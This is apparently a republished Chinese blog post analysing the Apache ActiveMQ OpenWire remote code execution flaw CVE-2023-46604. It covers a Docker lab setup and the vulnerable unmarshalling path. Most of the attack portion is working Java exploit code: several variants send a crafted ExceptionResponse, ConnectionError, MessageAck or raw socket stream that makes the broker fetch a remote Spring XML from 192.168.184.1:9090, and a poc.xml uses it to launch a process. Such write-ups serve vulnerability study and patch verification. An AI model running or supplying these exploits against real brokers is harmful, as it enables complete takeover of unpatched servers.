Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604

2024-01-11 10:12

本文主要是介绍Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

漏洞简介

Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

影响版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

图片

结合 https://activemq.apache.org/version-5-getting-started

图片

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616CMD ["/start.sh"]## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml 

docker-compose.yml

version: "2.2"
services:activemq:build: .ports:- "8161:8161"- "61616:61616"

图片

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

图片

 

https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3

图片

图片

新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

图片

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。

寻找调用该方法的位置

图片

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

图片

继续向上寻找调用

图片

image

网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

图片

继续向上寻找调用

图片

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

图片

我们看到此时 dsm 的值是基于传入的 dis.readByte();

图片

image

<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>ActiveMQ中默认的消息协议就是openwire

编写一个 ActiveMQ 的通信请求

 public static void sendToActiveMQ() throws Exception {/** 创建连接工厂,由 ActiveMQ 实现。构造方法参数* userName 用户名* password 密码* brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号*/ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");//创建连接对象Connection connection = connectionFactory.createConnection();//启动连接connection.start();/** 创建会话,参数含义:* 1.transacted - 是否使用事务* 2.acknowledgeMode - 消息确认机制,可选机制为:*  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息*  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制*  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制*/Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);//创建目的地,也就是队列名Destination destination = session.createQueue("q_test");//创建消息生成者,该生成者与目的地绑定MessageProducer mProducer = session.createProducer(destination);//创建消息Message message = session.createTextMessage("Hello, ActiveMQ");//发送消息mProducer.send(message);connection.close();}

图片

前面的调用栈为

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

图片

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和

函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);来触发

图片

    public static void ExceptionResponseExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ExceptionResponse expetionResponse = new ExceptionResponse();expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(expetionResponse);//ExploitSession.asyncSendPacket(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);connection.close();}

图片

由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

   public static void ConnectionErrorExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ConnectionError connectionError = new ConnectionError();connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));//ExploitSession.syncSendPacket(connectionError);//ExploitSession.asyncSendPacket(connectionError);((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);connection.close();}

    public static void MessageAckExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);MessageAck messageAck  = new MessageAck();messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(messageAck);//ExploitSession.asyncSendPacket(messageAck);//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);connection.close();}

通过数据流进行触发 ExceptionResponseMarshaller

主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller

        String ip = "127.0.0.1";int port = 61616;String pocxml= "http://192.168.184.1:9090/poc.xml";Socket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0); //out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();

通过伪造类实现触发 ExceptionResponse

我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

图片

利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

图片

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

 /*** A one way asynchronous send*/@Overridepublic void oneway(Object command) throws IOException {checkStarted();Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");ExceptionResponse response = new ExceptionResponse(obj);wireFormat.marshal(response, dataOut);dataOut.flush();}

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

poc.xml

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>touch</value><value>/tmp/1.txt</value></list></constructor-arg></bean></beans>

漏洞复现

图片

这篇关于Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/594024

相关文章

SpringBoot整合Apache Flink的详细指南

《SpringBoot整合ApacheFlink的详细指南》这篇文章主要为大家详细介绍了SpringBoot整合ApacheFlink的详细过程,涵盖环境准备,依赖配置,代码实现及运行步骤,感兴趣的... 目录1. 背景与目标2. 环境准备2.1 开发工具2.2 技术版本3. 创建 Spring Boot

Linux中修改Apache HTTP Server(httpd)默认端口的完整指南

《Linux中修改ApacheHTTPServer(httpd)默认端口的完整指南》ApacheHTTPServer(简称httpd)是Linux系统中最常用的Web服务器之一,本文将详细介绍如何... 目录一、修改 httpd 默认端口的步骤1. 查找 httpd 配置文件路径2. 编辑配置文件3. 保存

Spring Boot 整合 Apache Flink 的详细过程

《SpringBoot整合ApacheFlink的详细过程》ApacheFlink是一个高性能的分布式流处理框架,而SpringBoot提供了快速构建企业级应用的能力,下面给大家介绍Spri... 目录Spring Boot 整合 Apache Flink 教程一、背景与目标二、环境准备三、创建项目 & 添

Apache 高级配置实战之从连接保持到日志分析的完整指南

《Apache高级配置实战之从连接保持到日志分析的完整指南》本文带你从连接保持优化开始,一路走到访问控制和日志管理,最后用AWStats来分析网站数据,对Apache配置日志分析相关知识感兴趣的朋友... 目录Apache 高级配置实战:从连接保持到日志分析的完整指南前言 一、Apache 连接保持 - 性

apache的commons-pool2原理与使用实践记录

《apache的commons-pool2原理与使用实践记录》ApacheCommonsPool2是一个高效的对象池化框架,通过复用昂贵资源(如数据库连接、线程、网络连接)优化系统性能,这篇文章主... 目录一、核心原理与组件二、使用步骤详解(以数据库连接池为例)三、高级配置与优化四、典型应用场景五、注意事

解决Maven项目报错:failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.13.0的问题

《解决Maven项目报错:failedtoexecutegoalorg.apache.maven.plugins:maven-compiler-plugin:3.13.0的问题》这篇文章主要介... 目录Maven项目报错:failed to execute goal org.apache.maven.pl

深入理解Apache Kafka(分布式流处理平台)

《深入理解ApacheKafka(分布式流处理平台)》ApacheKafka作为现代分布式系统中的核心中间件,为构建高吞吐量、低延迟的数据管道提供了强大支持,本文将深入探讨Kafka的核心概念、架构... 目录引言一、Apache Kafka概述1.1 什么是Kafka?1.2 Kafka的核心概念二、Ka

使用Apache POI在Java中实现Excel单元格的合并

《使用ApachePOI在Java中实现Excel单元格的合并》在日常工作中,Excel是一个不可或缺的工具,尤其是在处理大量数据时,本文将介绍如何使用ApachePOI库在Java中实现Excel... 目录工具类介绍工具类代码调用示例依赖配置总结在日常工作中,Excel 是一个不可或缺的工http://

Apache伪静态(Rewrite).htaccess文件详解与配置技巧

《Apache伪静态(Rewrite).htaccess文件详解与配置技巧》Apache伪静态(Rewrite).htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令,主要的... 一、.htAccess的基本作用.htaccess是一个纯文本文件,它里面存放着Apache服务器

Debezium 与 Apache Kafka 的集成方式步骤详解

《Debezium与ApacheKafka的集成方式步骤详解》本文详细介绍了如何将Debezium与ApacheKafka集成,包括集成概述、步骤、注意事项等,通过KafkaConnect,D... 目录一、集成概述二、集成步骤1. 准备 Kafka 环境2. 配置 Kafka Connect3. 安装 D